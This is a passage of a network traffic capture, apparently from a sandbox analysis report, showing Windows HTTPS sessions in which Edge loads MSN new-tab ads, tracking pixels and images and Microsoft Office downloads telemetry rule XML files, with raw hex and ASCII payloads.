20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49921	20.75.60.91	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3553E294F9366CAE0604F7D7F89E6D7D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=0219ab1488ce4d59f43f662d187d4438 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
2024-11-26 00:41:52 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2779 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132640-T700344138-C128000000002113909+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113909+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 00:41:51 GMT Connection: close
2024-11-26 00:41:52 UTC	2779	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 6f 6b 79 6f 2c 20 4a 61 70 61 6e 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4e 69 73 68 69 2d 53 68 69 6e 6a 75 6b 75 25 32 43 2b Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Tokyo, Japan\",\"cta\":\"https:\/\/www.bing.com\/search?q=Nishi-Shinjuku%2C+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49922	20.110.205.119	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:51 UTC	1261	OUT	GET /c.gif?rnd=1732581705995&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e28f39e28eb142bdaa5545b112f458fa&activityId=e28f39e28eb142bdaa5545b112f458fa&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2A6B96A97C4E4072A602F53B40E2433F&MUID=3553E294F9366CAE0604F7D7F89E6D7D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1; SM=T
2024-11-26 00:41:52 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3553E294F9366CAE0604F7D7F89E6D7D; domain=.msn.com; expires=Sun, 21-Dec-2025 00:41:51 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3553E294F9366CAE0604F7D7F89E6D7D; domain=c.msn.com; expires=Sun, 21-Dec-2025 00:41:51 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 03-Dec-2024 00:41:51 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 00:51:51 GMT; path=/; SameSite=None; Secure; Date: Tue, 26 Nov 2024 00:41:51 GMT Connection: close Content-Length: 42
2024-11-26 00:41:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004153Z-174f78459684bddphC1EWRbht40000000ud0000000006a5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49933	104.117.182.56	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:54 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=428765 Expires: Sat, 30 Nov 2024 23:47:58 GMT Date: Tue, 26 Nov 2024 00:41:53 GMT Connection: close
2024-11-26 00:41:54 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-26 00:41:54 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-26 00:41:54 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-26 00:41:54 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-26 00:41:54 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:53 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004153Z-174f7845968psccphC1EWRuz9s0000000uwg000000006gnd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:53 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:53 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:53 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004153Z-174f7845968xr5c2hC1EWRd0hn0000000bhg000000006b0y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:53 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 